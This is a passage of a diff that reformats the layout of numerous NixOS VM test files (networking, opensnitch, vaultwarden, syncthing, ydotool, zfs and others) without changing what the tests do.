--- a/nixos/tests/mattermost/default.nix
+++ b/nixos/tests/mattermost/default.nix
@@ -148,11 +148,9 @@ import ../make-test-python.nix (
         package = pkgs.mattermost.overrideAttrs (prev: {
           webapp = prev.webapp.overrideAttrs (prevWebapp: {
             # Ensure that users can add patches.
-            postPatch =
-              prevWebapp.postPatch or ""
-              + ''
-                substituteInPlace channels/src/root.html --replace-fail "Mattermost" "Patched Mattermost"
-              '';
+            postPatch = prevWebapp.postPatch or "" + ''
+              substituteInPlace channels/src/root.html --replace-fail "Mattermost" "Patched Mattermost"
+            '';
           });
         });
         mutableConfig = false;
diff --git a/nixos/tests/mysql/mysql.nix b/nixos/tests/mysql/mysql.nix
index 2935c02e1c46..67ef87e99481 100644
--- a/nixos/tests/mysql/mysql.nix
+++ b/nixos/tests/mysql/mysql.nix
@@ -95,8 +95,7 @@ let
               settings = {
                 mysqld = {
                   plugin-load-add =
-                    lib.optional hasMroonga "ha_mroonga.so"
-                    ++ lib.optional hasRocksDB "ha_rocksdb.so";
+                    lib.optional hasMroonga "ha_mroonga.so" ++ lib.optional hasRocksDB "ha_rocksdb.so";
                 };
               };
             };
diff --git a/nixos/tests/networking/networkd-and-scripted.nix b/nixos/tests/networking/networkd-and-scripted.nix
index 312981317735..52bb96296946 100644
--- a/nixos/tests/networking/networkd-and-scripted.nix
+++ b/nixos/tests/networking/networkd-and-scripted.nix
@@ -456,30 +456,29 @@ let
           fou3-fou-encap.after = lib.optional (!networkd) "network-addresses-enp1s0.service";
         };
       };
-      testScript =
-        ''
-          import json
+      testScript = ''
+        import json
 
-          machine.wait_for_unit("network.target")
-          fous = json.loads(machine.succeed("ip -json fou show"))
-          assert {"port": 9001, "gue": None, "family": "inet"} in fous, "fou1 exists"
-          assert {"port": 9002, "ipproto": 41, "family": "inet"} in fous, "fou2 exists"
-        ''
-        + lib.optionalString (!networkd) ''
-          assert {
-              "port": 9003,
-              "gue": None,
-              "family": "inet",
-              "local": "192.168.1.1",
-          } in fous, "fou3 exists"
-          assert {
-              "port": 9004,
-              "gue": None,
-              "family": "inet",
-              "local": "192.168.1.1",
-              "dev": "enp1s0",
-          } in fous, "fou4 exists"
-        '';
+        machine.wait_for_unit("network.target")
+        fous = json.loads(machine.succeed("ip -json fou show"))
+        assert {"port": 9001, "gue": None, "family": "inet"} in fous, "fou1 exists"
+        assert {"port": 9002, "ipproto": 41, "family": "inet"} in fous, "fou2 exists"
+      ''
+      + lib.optionalString (!networkd) ''
+        assert {
+            "port": 9003,
+            "gue": None,
+            "family": "inet",
+            "local": "192.168.1.1",
+        } in fous, "fou3 exists"
+        assert {
+            "port": 9004,
+            "gue": None,
+            "family": "inet",
+            "local": "192.168.1.1",
+            "dev": "enp1s0",
+        } in fous, "fou4 exists"
+      '';
     };
     sit =
       let
@@ -858,58 +857,57 @@ let
         };
       };
 
-      testScript =
-        ''
-          targetList = """
-          tap0: tap persist user 0
-          tun0: tun persist user 0
-          """.strip()
+      testScript = ''
+        targetList = """
+        tap0: tap persist user 0
+        tun0: tun persist user 0
+        """.strip()
 
-          with subtest("Wait for networking to come up"):
-              machine.start()
-              machine.wait_for_unit("network.target")
+        with subtest("Wait for networking to come up"):
+            machine.start()
+            machine.wait_for_unit("network.target")
 
-          with subtest("Test interfaces set up"):
-              list = machine.succeed("ip tuntap list | sort").strip()
-              assert (
-                  list == targetList
-              ), """
-              The list of virtual interfaces does not match the expected one:
-              Result:
-                {}
-              Expected:
-                {}
-              """.format(
-                  list, targetList
-              )
-          with subtest("Test MTU and MAC Address are configured"):
-              machine.wait_until_succeeds("ip link show dev tap0 | grep 'mtu 1342'")
-              machine.wait_until_succeeds("ip link show dev tun0 | grep 'mtu 1343'")
-              assert "02:de:ad:be:ef:01" in machine.succeed("ip link show dev tap0")
-        '' # network-addresses-* only exist in scripted networking
-        + lib.optionalString (!networkd) ''
-          with subtest("Test interfaces' addresses clean up"):
-              machine.succeed("systemctl stop network-addresses-tap0")
-              machine.sleep(10)
-              machine.succeed("systemctl stop network-addresses-tun0")
-              machine.sleep(10)
-              residue = machine.succeed("ip tuntap list | sort").strip()
-              assert (
-                  residue == targetList
-              ), "Some virtual interface has been removed:\n{}".format(residue)
-              assert "192.168.1.1" not in machine.succeed("ip address show dev tap0"), "tap0 interface address has not been removed"
-              assert "192.168.1.2" not in machine.succeed("ip address show dev tun0"), "tun0 interface address has not been removed"
+        with subtest("Test interfaces set up"):
+            list = machine.succeed("ip tuntap list | sort").strip()
+            assert (
+                list == targetList
+            ), """
+            The list of virtual interfaces does not match the expected one:
+            Result:
+              {}
+            Expected:
+              {}
+            """.format(
+                list, targetList
+            )
+        with subtest("Test MTU and MAC Address are configured"):
+            machine.wait_until_succeeds("ip link show dev tap0 | grep 'mtu 1342'")
+            machine.wait_until_succeeds("ip link show dev tun0 | grep 'mtu 1343'")
+            assert "02:de:ad:be:ef:01" in machine.succeed("ip link show dev tap0")
+      '' # network-addresses-* only exist in scripted networking
+      + lib.optionalString (!networkd) ''
+        with subtest("Test interfaces' addresses clean up"):
+            machine.succeed("systemctl stop network-addresses-tap0")
+            machine.sleep(10)
+            machine.succeed("systemctl stop network-addresses-tun0")
+            machine.sleep(10)
+            residue = machine.succeed("ip tuntap list | sort").strip()
+            assert (
+                residue == targetList
+            ), "Some virtual interface has been removed:\n{}".format(residue)
+            assert "192.168.1.1" not in machine.succeed("ip address show dev tap0"), "tap0 interface address has not been removed"
+            assert "192.168.1.2" not in machine.succeed("ip address show dev tun0"), "tun0 interface address has not been removed"
 
-          with subtest("Test interfaces clean up"):
-              machine.succeed("systemctl stop tap0-netdev")
-              machine.sleep(10)
-              machine.succeed("systemctl stop tun0-netdev")
-              machine.sleep(10)
-              residue = machine.succeed("ip tuntap list")
-              assert (
-                  residue == ""
-              ), "Some virtual interface has not been properly cleaned:\n{}".format(residue)
-        '';
+        with subtest("Test interfaces clean up"):
+            machine.succeed("systemctl stop tap0-netdev")
+            machine.sleep(10)
+            machine.succeed("systemctl stop tun0-netdev")
+            machine.sleep(10)
+            residue = machine.succeed("ip tuntap list")
+            assert (
+                residue == ""
+            ), "Some virtual interface has not been properly cleaned:\n{}".format(residue)
+      '';
     };
     privacy = {
       name = "Privacy";
@@ -1046,62 +1044,61 @@ let
         virtualisation.vlans = [ ];
       };
 
-      testScript =
-        ''
-          targetIPv4Table = [
-              "10.0.0.0/16 proto static scope link mtu 1500",
-              "192.168.1.0/24 proto kernel scope link src 192.168.1.2",
-              "192.168.2.0/24 via 192.168.1.1 proto static",
-          ]
+      testScript = ''
+        targetIPv4Table = [
+            "10.0.0.0/16 proto static scope link mtu 1500",
+            "192.168.1.0/24 proto kernel scope link src 192.168.1.2",
+            "192.168.2.0/24 via 192.168.1.1 proto static",
+        ]
 
-          targetIPv6Table = [
-              "2001:1470:fffd:2097::/64 proto kernel metric 256 pref medium",
-              "2001:1470:fffd:2098::/64 via fdfd:b3f0::1 proto static metric 1024 pref medium",
-              "fdfd:b3f0::/48 proto static metric 1024 pref medium",
-          ]
+        targetIPv6Table = [
+            "2001:1470:fffd:2097::/64 proto kernel metric 256 pref medium",
+            "2001:1470:fffd:2098::/64 via fdfd:b3f0::1 proto static metric 1024 pref medium",
+            "fdfd:b3f0::/48 proto static metric 1024 pref medium",
+        ]
 
-          machine.start()
-          machine.wait_for_unit("network.target")
+        machine.start()
+        machine.wait_for_unit("network.target")
 
-          with subtest("test routing tables"):
-              ipv4Table = machine.succeed("ip -4 route list dev eth0 | head -n3").strip()
-              ipv6Table = machine.succeed("ip -6 route list dev eth0 | head -n3").strip()
-              assert [
-                  l.strip() for l in ipv4Table.splitlines()
-              ] == targetIPv4Table, """
-                The IPv4 routing table does not match the expected one:
-                  Result:
-                    {}
-                  Expected:
-                    {}
-                """.format(
-                  ipv4Table, targetIPv4Table
-              )
-              assert [
-                  l.strip() for l in ipv6Table.splitlines()
-              ] == targetIPv6Table, """
-                The IPv6 routing table does not match the expected one:
-                  Result:
-                    {}
-                  Expected:
-                    {}
-                """.format(
-                  ipv6Table, targetIPv6Table
-              )
+        with subtest("test routing tables"):
+            ipv4Table = machine.succeed("ip -4 route list dev eth0 | head -n3").strip()
+            ipv6Table = machine.succeed("ip -6 route list dev eth0 | head -n3").strip()
+            assert [
+                l.strip() for l in ipv4Table.splitlines()
+            ] == targetIPv4Table, """
+              The IPv4 routing table does not match the expected one:
+                Result:
+                  {}
+                Expected:
+                  {}
+              """.format(
+                ipv4Table, targetIPv4Table
+            )
+            assert [
+                l.strip() for l in ipv6Table.splitlines()
+            ] == targetIPv6Table, """
+              The IPv6 routing table does not match the expected one:
+                Result:
+                  {}
+                Expected:
+                  {}
+              """.format(
+                ipv6Table, targetIPv6Table
+            )
 
-        ''
-        + lib.optionalString (!networkd) ''
-          with subtest("test clean-up of the tables"):
-              machine.succeed("systemctl stop network-addresses-eth0")
-              ipv4Residue = machine.succeed("ip -4 route list dev eth0 | head -n-3").strip()
-              ipv6Residue = machine.succeed("ip -6 route list dev eth0 | head -n-3").strip()
-              assert (
-                  ipv4Residue == ""
-              ), "The IPv4 routing table has not been properly cleaned:\n{}".format(ipv4Residue)
-              assert (
-                  ipv6Residue == ""
-              ), "The IPv6 routing table has not been properly cleaned:\n{}".format(ipv6Residue)
-        '';
+      ''
+      + lib.optionalString (!networkd) ''
+        with subtest("test clean-up of the tables"):
+            machine.succeed("systemctl stop network-addresses-eth0")
+            ipv4Residue = machine.succeed("ip -4 route list dev eth0 | head -n-3").strip()
+            ipv6Residue = machine.succeed("ip -6 route list dev eth0 | head -n-3").strip()
+            assert (
+                ipv4Residue == ""
+            ), "The IPv4 routing table has not been properly cleaned:\n{}".format(ipv4Residue)
+            assert (
+                ipv6Residue == ""
+            ), "The IPv6 routing table has not been properly cleaned:\n{}".format(ipv6Residue)
+      '';
     };
     rename =
       if networkd then
diff --git a/nixos/tests/opensnitch.nix b/nixos/tests/opensnitch.nix
index dbb536e9a769..995e4be82101 100644
--- a/nixos/tests/opensnitch.nix
+++ b/nixos/tests/opensnitch.nix
@@ -15,71 +15,69 @@ import ./make-test-python.nix (
       maintainers = [ onny ];
     };
 
-    nodes =
-      {
-        server = {
-          networking.firewall.allowedTCPPorts = [ 80 ];
-          services.caddy = {
-            enable = true;
-            virtualHosts."localhost".extraConfig = ''
-              respond "Hello, world!"
-            '';
-          };
+    nodes = {
+      server = {
+        networking.firewall.allowedTCPPorts = [ 80 ];
+        services.caddy = {
+          enable = true;
+          virtualHosts."localhost".extraConfig = ''
+            respond "Hello, world!"
+          '';
         };
-      }
-      // (lib.listToAttrs (
-        map (
-          m:
-          lib.nameValuePair "client_blocked_${m}" {
-            services.opensnitch = {
-              enable = true;
-              settings.DefaultAction = "deny";
-              settings.ProcMonitorMethod = m;
-            };
-          }
-        ) monitorMethods
-      ))
-      // (lib.listToAttrs (
-        map (
-          m:
-          lib.nameValuePair "client_allowed_${m}" {
-            services.opensnitch = {
-              enable = true;
-              settings.DefaultAction = "deny";
-              settings.ProcMonitorMethod = m;
-              rules = {
-                curl = {
-                  name = "curl";
-                  enabled = true;
-                  action = "allow";
-                  duration = "always";
-                  operator = {
-                    type = "simple";
-                    sensitive = false;
-                    operand = "process.path";
-                    data = "${pkgs.curl}/bin/curl";
-                  };
+      };
+    }
+    // (lib.listToAttrs (
+      map (
+        m:
+        lib.nameValuePair "client_blocked_${m}" {
+          services.opensnitch = {
+            enable = true;
+            settings.DefaultAction = "deny";
+            settings.ProcMonitorMethod = m;
+          };
+        }
+      ) monitorMethods
+    ))
+    // (lib.listToAttrs (
+      map (
+        m:
+        lib.nameValuePair "client_allowed_${m}" {
+          services.opensnitch = {
+            enable = true;
+            settings.DefaultAction = "deny";
+            settings.ProcMonitorMethod = m;
+            rules = {
+              curl = {
+                name = "curl";
+                enabled = true;
+                action = "allow";
+                duration = "always";
+                operator = {
+                  type = "simple";
+                  sensitive = false;
+                  operand = "process.path";
+                  data = "${pkgs.curl}/bin/curl";
                 };
               };
             };
-          }
-        ) monitorMethods
-      ));
+          };
+        }
+      ) monitorMethods
+    ));
 
-    testScript =
-      ''
-        start_all()
-        server.wait_for_unit("caddy.service")
-        server.wait_for_open_port(80)
-      ''
-      + lib.concatLines (
-        map (m: ''
-          client_blocked_${m}.wait_for_unit("opensnitchd.service")
-          client_blocked_${m}.fail("curl http://server")
+    testScript = ''
+      start_all()
+      server.wait_for_unit("caddy.service")
+      server.wait_for_open_port(80)
+    ''
+    + lib.concatLines (
+      map (m: ''
+        client_blocked_${m}.wait_for_unit("opensnitchd.service")
+        client_blocked_${m}.fail("curl http://server")
 
-          client_allowed_${m}.wait_for_unit("opensnitchd.service")
-          client_allowed_${m}.succeed("curl http://server")
-        '') monitorMethods
-      );
+        client_allowed_${m}.wait_for_unit("opensnitchd.service")
+        client_allowed_${m}.succeed("curl http://server")
+      '') monitorMethods
+    );
   }
 )
diff --git a/nixos/tests/paretosecurity.nix b/nixos/tests/paretosecurity.nix
index 4a0f00e66000..0ed86e57a89e 100644
--- a/nixos/tests/paretosecurity.nix
+++ b/nixos/tests/paretosecurity.nix
@@ -15,13 +15,11 @@
         # Create a patched version of the package that points to the local dashboard
         # for easier testing
         package = pkgs.paretosecurity.overrideAttrs (oldAttrs: {
-          postPatch =
-            oldAttrs.postPatch or ""
-            + ''
-              substituteInPlace team/report.go \
-                --replace-warn 'const reportURL = "https://cloud.paretosecurity.com"' \
-                               'const reportURL = "http://cloud"'
-            '';
+          postPatch = oldAttrs.postPatch or "" + ''
+            substituteInPlace team/report.go \
+              --replace-warn 'const reportURL = "https://cloud.paretosecurity.com"' \
+                             'const reportURL = "http://cloud"'
+          '';
         });
       };
 
diff --git a/nixos/tests/pulseaudio.nix b/nixos/tests/pulseaudio.nix
index 832696cbc633..c7791090cedb 100644
--- a/nixos/tests/pulseaudio.nix
+++ b/nixos/tests/pulseaudio.nix
@@ -38,20 +38,20 @@ let
 
           {
             imports = [ ./common/wayland-cage.nix ];
-            services.pulseaudio =
-              {
-                enable = true;
-                support32Bit = true;
-                inherit systemWide;
-              }
-              // lib.optionalAttrs fullVersion {
-                package = pkgs.pulseaudioFull;
-              };
+            services.pulseaudio = {
+              enable = true;
+              support32Bit = true;
+              inherit systemWide;
+            }
+            // lib.optionalAttrs fullVersion {
+              package = pkgs.pulseaudioFull;
+            };
 
             environment.systemPackages = [
               testers.testPlay
               pkgs.pavucontrol
-            ] ++ lib.optional pkgs.stdenv.hostPlatform.isx86_64 testers.testPlay32;
+            ]
+            ++ lib.optional pkgs.stdenv.hostPlatform.isx86_64 testers.testPlay32;
           }
           // lib.optionalAttrs systemWide {
             users.users.alice.extraGroups = [ "pulse-access" ];
diff --git a/nixos/tests/redis.nix b/nixos/tests/redis.nix
index 8a80c0630f40..f4647ddba10f 100644
--- a/nixos/tests/redis.nix
+++ b/nixos/tests/redis.nix
@@ -21,7 +21,8 @@ let
       inherit name;
       meta.maintainers = [
         lib.maintainers.flokli
-      ] ++ lib.teams.helsinki-systems.members;
+      ]
+      ++ lib.teams.helsinki-systems.members;
 
       nodes = {
         machine =
diff --git a/nixos/tests/shadowsocks/common.nix b/nixos/tests/shadowsocks/common.nix
index e81eccb3f3b3..298483f36b8f 100644
--- a/nixos/tests/shadowsocks/common.nix
+++ b/nixos/tests/shadowsocks/common.nix
@@ -25,20 +25,19 @@ import ../make-test-python.nix (
         networking.firewall.rejectPackets = true;
         networking.firewall.allowedTCPPorts = [ 8488 ];
         networking.firewall.allowedUDPPorts = [ 8488 ];
-        services.shadowsocks =
-          {
-            enable = true;
-            encryptionMethod = "chacha20-ietf-poly1305";
-            password = "pa$$w0rd";
-            localAddress = [ "0.0.0.0" ];
-            port = 8488;
-            fastOpen = false;
-            mode = "tcp_and_udp";
-          }
-          // lib.optionalAttrs (plugin != null) {
-            inherit plugin;
-            pluginOpts = "server;${pluginOpts}";
-          };
+        services.shadowsocks = {
+          enable = true;
+          encryptionMethod = "chacha20-ietf-poly1305";
+          password = "pa$$w0rd";
+          localAddress = [ "0.0.0.0" ];
+          port = 8488;
+          fastOpen = false;
+          mode = "tcp_and_udp";
+        }
+        // lib.optionalAttrs (plugin != null) {
+          inherit plugin;
+          pluginOpts = "server;${pluginOpts}";
+        };
         services.nginx = {
           enable = true;
           virtualHosts.server = {
diff --git a/nixos/tests/solanum.nix b/nixos/tests/solanum.nix
index be3f4bfd45ae..ab87c5cc614c 100644
--- a/nixos/tests/solanum.nix
+++ b/nixos/tests/solanum.nix
@@ -13,43 +13,42 @@ import ./make-test-python.nix (
   { pkgs, lib, ... }:
   {
     name = "solanum";
-    nodes =
-      {
-        "${server}" = {
-          networking.firewall.allowedTCPPorts = [ ircPort ];
-          services.solanum = {
-            enable = true;
-            motd = ''
-              The default MOTD doesn't contain the word "nixos" in it.
-              This one does.
-            '';
-          };
+    nodes = {
+      "${server}" = {
+        networking.firewall.allowedTCPPorts = [ ircPort ];
+        services.solanum = {
+          enable = true;
+          motd = ''
+            The default MOTD doesn't contain the word "nixos" in it.
+            This one does.
+          '';
         };
-      }
-      // lib.listToAttrs (
-        builtins.map (
-          client:
-          lib.nameValuePair client {
-            imports = [
-              ./common/user-account.nix
-            ];
+      };
+    }
+    // lib.listToAttrs (
+      builtins.map (
+        client:
+        lib.nameValuePair client {
+          imports = [
+            ./common/user-account.nix
+          ];
 
-            systemd.services.ii = {
-              requires = [ "network.target" ];
-              wantedBy = [ "default.target" ];
+          systemd.services.ii = {
+            requires = [ "network.target" ];
+            wantedBy = [ "default.target" ];
 
-              serviceConfig = {
-                Type = "simple";
-                ExecPreStartPre = "mkdir -p ${iiDir}";
-                ExecStart = ''
-                  ${lib.getBin pkgs.ii}/bin/ii -n ${client} -s ${server} -i ${iiDir}
-                '';
-                User = "alice";
-              };
+            serviceConfig = {
+              Type = "simple";
+              ExecPreStartPre = "mkdir -p ${iiDir}";
+              ExecStart = ''
+                ${lib.getBin pkgs.ii}/bin/ii -n ${client} -s ${server} -i ${iiDir}
+              '';
+              User = "alice";
             };
-          }
-        ) clients
-      );
+          };
+        }
+      ) clients
+    );
 
     testScript =
       let
diff --git a/nixos/tests/syncthing-many-devices.nix b/nixos/tests/syncthing-many-devices.nix
index b60569578071..fc2fd3838e37 100644
--- a/nixos/tests/syncthing-many-devices.nix
+++ b/nixos/tests/syncthing-many-devices.nix
@@ -160,66 +160,65 @@ import ./make-test-python.nix (
         settings = settingsWithoutId // settingsWithId;
       };
     };
-    testScript =
-      ''
-        machine.wait_for_unit("syncthing-init.service")
-      ''
-      + (lib.pipe settingsWithId [
-        # Check that folders and devices were added properly and that all IDs exist
-        (lib.mapAttrsRecursive (
-          path: id:
-          checkSettingWithId {
-            # plural -> solitary
-            t = (lib.removeSuffix "s" (builtins.elemAt path 0));
-            inherit id;
-          }
-        ))
-        # Get all the values we applied the above function upon
-        (lib.collect builtins.isString)
-        lib.concatStrings
-      ])
-      + (lib.pipe settingsWithoutId [
-        # Check that all other syncthing.settings were added properly with correct
-        # values
-        (lib.mapAttrsRecursive (
-          path: value:
-          checkSettingWithoutId {
-            t = (builtins.elemAt path 0);
-            n = (builtins.elemAt path 1);
-            v = (builtins.toString value);
-          }
-        ))
-        # Get all the values we applied the above function upon
-        (lib.collect builtins.isString)
-        lib.concatStrings
-      ])
-      + ''
-        # Run the script on the machine
-        machine.succeed("${addDeviceToDeleteScript}")
-      ''
-      + (checkSettingsToDelete {
-        not = false;
-      })
-      + ''
-        # Useful for debugging later
-        machine.copy_from_vm("${configPath}", "before")
+    testScript = ''
+      machine.wait_for_unit("syncthing-init.service")
+    ''
+    + (lib.pipe settingsWithId [
+      # Check that folders and devices were added properly and that all IDs exist
+      (lib.mapAttrsRecursive (
+        path: id:
+        checkSettingWithId {
+          # plural -> solitary
+          t = (lib.removeSuffix "s" (builtins.elemAt path 0));
+          inherit id;
+        }
+      ))
+      # Get all the values we applied the above function upon
+      (lib.collect builtins.isString)
+      lib.concatStrings
+    ])
+    + (lib.pipe settingsWithoutId [
+      # Check that all other syncthing.settings were added properly with correct
+      # values
+      (lib.mapAttrsRecursive (
+        path: value:
+        checkSettingWithoutId {
+          t = (builtins.elemAt path 0);
+          n = (builtins.elemAt path 1);
+          v = (builtins.toString value);
+        }
+      ))
+      # Get all the values we applied the above function upon
+      (lib.collect builtins.isString)
+      lib.concatStrings
+    ])
+    + ''
+      # Run the script on the machine
+      machine.succeed("${addDeviceToDeleteScript}")
+    ''
+    + (checkSettingsToDelete {
+      not = false;
+    })
+    + ''
+      # Useful for debugging later
+      machine.copy_from_vm("${configPath}", "before")
 
-        machine.systemctl("restart syncthing-init.service")
-        machine.wait_for_unit("syncthing-init.service")
-      ''
-      + (checkSettingsToDelete {
-        not = true;
-      })
-      + ''
-        # Useful for debugging later
-        machine.copy_from_vm("${configPath}", "after")
+      machine.systemctl("restart syncthing-init.service")
+      machine.wait_for_unit("syncthing-init.service")
+    ''
+    + (checkSettingsToDelete {
+      not = true;
+    })
+    + ''
+      # Useful for debugging later
+      machine.copy_from_vm("${configPath}", "after")
 
-        # Copy the systemd unit's bash script, to inspect it for debugging.
-        mergeScript = machine.succeed(
-            "systemctl cat syncthing-init.service | "
-            "${pkgs.initool}/bin/initool g - Service ExecStart --value-only"
-        ).strip() # strip from new lines
-        machine.copy_from_vm(mergeScript, "")
-      '';
+      # Copy the systemd unit's bash script, to inspect it for debugging.
+      mergeScript = machine.succeed(
+          "systemctl cat syncthing-init.service | "
+          "${pkgs.initool}/bin/initool g - Service ExecStart --value-only"
+      ).strip() # strip from new lines
+      machine.copy_from_vm(mergeScript, "")
+    '';
   }
 )
diff --git a/nixos/tests/systemd-confinement/default.nix b/nixos/tests/systemd-confinement/default.nix
index 905a2272c0fb..94d87978cbdd 100644
--- a/nixos/tests/systemd-confinement/default.nix
+++ b/nixos/tests/systemd-confinement/default.nix
@@ -66,22 +66,21 @@ import ../make-test-python.nix {
             }
           );
 
-          systemd.services.${serviceName} =
-            {
-              inherit description;
-              requiredBy = [ "multi-user.target" ];
-              confinement = (config.confinement or { }) // {
-                enable = true;
-              };
-              serviceConfig = (config.serviceConfig or { }) // {
-                ExecStart = mkTest serviceName testScript;
-                Type = "oneshot";
-              };
-            }
-            // removeAttrs config [
-              "confinement"
-              "serviceConfig"
-            ];
+          systemd.services.${serviceName} = {
+            inherit description;
+            requiredBy = [ "multi-user.target" ];
+            confinement = (config.confinement or { }) // {
+              enable = true;
+            };
+            serviceConfig = (config.serviceConfig or { }) // {
+              ExecStart = mkTest serviceName testScript;
+              Type = "oneshot";
+            };
+          }
+          // removeAttrs config [
+            "confinement"
+            "serviceConfig"
+          ];
         };
 
       parametrisedTests =
diff --git a/nixos/tests/vaultwarden.nix b/nixos/tests/vaultwarden.nix
index ce1e1de21abe..b5e850ec4609 100644
--- a/nixos/tests/vaultwarden.nix
+++ b/nixos/tests/vaultwarden.nix
@@ -108,81 +108,80 @@ let
           ];
         };
 
-        nodes =
-          {
-            server =
-              { pkgs, ... }:
-              lib.mkMerge [
-                {
-                  mysql = {
-                    services.mysql = {
-                      enable = true;
-                      initialScript = pkgs.writeText "mysql-init.sql" ''
-                        CREATE DATABASE bitwarden;
-                        CREATE USER 'bitwardenuser'@'localhost' IDENTIFIED BY '${dbPassword}';
-                        GRANT ALL ON `bitwarden`.* TO 'bitwardenuser'@'localhost';
-                        FLUSH PRIVILEGES;
-                      '';
-                      package = pkgs.mariadb;
-                    };
-
-                    services.vaultwarden.config.databaseUrl = "mysql://bitwardenuser:${dbPassword}@localhost/bitwarden";
-
-                    systemd.services.vaultwarden.after = [ "mysql.service" ];
-                  };
-
-                  postgresql = {
-                    services.postgresql = {
-                      enable = true;
-                      ensureDatabases = [ "vaultwarden" ];
-                      ensureUsers = [
-                        {
-                          name = "vaultwarden";
-                          ensureDBOwnership = true;
-                        }
-                      ];
-                    };
-
-                    services.vaultwarden.config.databaseUrl = "postgresql:///vaultwarden?host=/run/postgresql";
-
-                    systemd.services.vaultwarden.after = [ "postgresql.service" ];
-                  };
-
-                  sqlite = {
-                    services.vaultwarden.backupDir = "/srv/backups/vaultwarden";
-
-                    environment.systemPackages = [ pkgs.sqlite ];
-                  };
-                }
-                .${backend}
-
-                {
-                  services.vaultwarden = {
-                    enable = true;
-                    dbBackend = backend;
-                    config = {
-                      rocketAddress = "::";
-                      rocketPort = 8080;
-                    };
-                  };
-
-                  networking.firewall.allowedTCPPorts = [ 8080 ];
-
-                  environment.systemPackages = [
-                    pkgs.firefox-unwrapped
-                    pkgs.geckodriver
-                    testRunner
-                  ];
-                }
-              ];
-          }
-          // lib.optionalAttrs withClient {
-            client =
-              { pkgs, ... }:
+        nodes = {
+          server =
+            { pkgs, ... }:
+            lib.mkMerge [
               {
-                environment.systemPackages = [ pkgs.bitwarden-cli ];
-              };
-          };
+                mysql = {
+                  services.mysql = {
+                    enable = true;
+                    initialScript = pkgs.writeText "mysql-init.sql" ''
+                      CREATE DATABASE bitwarden;
+                      CREATE USER 'bitwardenuser'@'localhost' IDENTIFIED BY '${dbPassword}';
+                      GRANT ALL ON `bitwarden`.* TO 'bitwardenuser'@'localhost';
+                      FLUSH PRIVILEGES;
+                    '';
+                    package = pkgs.mariadb;
+                  };
+
+                  services.vaultwarden.config.databaseUrl = "mysql://bitwardenuser:${dbPassword}@localhost/bitwarden";
+
+                  systemd.services.vaultwarden.after = [ "mysql.service" ];
+                };
+
+                postgresql = {
+                  services.postgresql = {
+                    enable = true;
+                    ensureDatabases = [ "vaultwarden" ];
+                    ensureUsers = [
+                      {
+                        name = "vaultwarden";
+                        ensureDBOwnership = true;
+                      }
+                    ];
+                  };
+
+                  services.vaultwarden.config.databaseUrl = "postgresql:///vaultwarden?host=/run/postgresql";
+
+                  systemd.services.vaultwarden.after = [ "postgresql.service" ];
+                };
+
+                sqlite = {
+                  services.vaultwarden.backupDir = "/srv/backups/vaultwarden";
+
+                  environment.systemPackages = [ pkgs.sqlite ];
+                };
+              }
+              .${backend}
+
+              {
+                services.vaultwarden = {
+                  enable = true;
+                  dbBackend = backend;
+                  config = {
+                    rocketAddress = "::";
+                    rocketPort = 8080;
+                  };
+                };
+
+                networking.firewall.allowedTCPPorts = [ 8080 ];
+
+                environment.systemPackages = [
+                  pkgs.firefox-unwrapped
+                  pkgs.geckodriver
+                  testRunner
+                ];
+              }
+            ];
+        }
+        // lib.optionalAttrs withClient {
+          client =
+            { pkgs, ... }:
+            {
+              environment.systemPackages = [ pkgs.bitwarden-cli ];
+            };
+        };
 
         testScript =
           if testScript != null then
diff --git a/nixos/tests/virtualbox.nix b/nixos/tests/virtualbox.nix
index da8eafa4e276..98125aec0328 100644
--- a/nixos/tests/virtualbox.nix
+++ b/nixos/tests/virtualbox.nix
@@ -424,7 +424,8 @@ let
 
           virtualisation.virtualbox.host = {
             enable = true;
-          } // vboxHostConfig;
+          }
+          // vboxHostConfig;
 
           nixpkgs.config.allowUnfree = config.virtualisation.virtualbox.host.enableExtensionPack;
         };
diff --git a/nixos/tests/ydotool.nix b/nixos/tests/ydotool.nix
index 7a739392aa56..c1a9e9729e1b 100644
--- a/nixos/tests/ydotool.nix
+++ b/nixos/tests/ydotool.nix
@@ -35,19 +35,17 @@ in
       services.getty.autologinUser = "alice";
     };
 
-    testScript =
-      asUser
-      + ''
-        start_all()
+    testScript = asUser + ''
+      start_all()
 
-        machine.wait_for_unit("multi-user.target")
-        machine.wait_for_text("alice")
-        machine.succeed(as_user("ydotool type 'echo ${textInput} > /tmp/output'")) # text input
-        machine.succeed(as_user("ydotool key 28:1 28:0")) # text input
-        machine.screenshot("headless_input")
-        machine.wait_for_file("/tmp/output")
-        machine.wait_until_succeeds("grep '${textInput}' /tmp/output") # text input
-      '';
+      machine.wait_for_unit("multi-user.target")
+      machine.wait_for_text("alice")
+      machine.succeed(as_user("ydotool type 'echo ${textInput} > /tmp/output'")) # text input
+      machine.succeed(as_user("ydotool key 28:1 28:0")) # text input
+      machine.screenshot("headless_input")
+      machine.wait_for_file("/tmp/output")
+      machine.wait_until_succeeds("grep '${textInput}' /tmp/output") # text input
+    '';
 
     meta.maintainers = with lib.maintainers; [
       OPNA2608
@@ -80,21 +78,19 @@ in
       services.displayManager.defaultSession = lib.mkForce "none+dwm";
     };
 
-    testScript =
-      asUser
-      + ''
-        start_all()
+    testScript = asUser + ''
+      start_all()
 
-        machine.wait_for_x()
-        machine.execute(as_user("${inputBox}"))
-        machine.wait_for_text("${inputBoxText}")
-        machine.succeed(as_user("ydotool type '${textInput}'")) # text input
-        machine.screenshot("x11_input")
-        machine.succeed(as_user("ydotool mousemove -a 400 110")) # mouse input
-        machine.succeed(as_user("ydotool click 0xC0")) # mouse input
-        machine.wait_for_file("/tmp/output")
-        machine.wait_until_succeeds("grep '${textInput}' /tmp/output") # text input
-      '';
+      machine.wait_for_x()
+      machine.execute(as_user("${inputBox}"))
+      machine.wait_for_text("${inputBoxText}")
+      machine.succeed(as_user("ydotool type '${textInput}'")) # text input
+      machine.screenshot("x11_input")
+      machine.succeed(as_user("ydotool mousemove -a 400 110")) # mouse input
+      machine.succeed(as_user("ydotool click 0xC0")) # mouse input
+      machine.wait_for_file("/tmp/output")
+      machine.wait_until_succeeds("grep '${textInput}' /tmp/output") # text input
+    '';
 
     meta.maintainers = with lib.maintainers; [
       OPNA2608
diff --git a/nixos/tests/zfs.nix b/nixos/tests/zfs.nix
index 7cb2fc0f1a6e..12d9b23886f1 100644
--- a/nixos/tests/zfs.nix
+++ b/nixos/tests/zfs.nix
@@ -122,83 +122,82 @@ let
           };
         };
 
-      testScript =
-        ''
-          machine.wait_for_unit("multi-user.target")
-          machine.succeed(
-              "zpool status",
-              "parted --script /dev/vdb mklabel msdos",
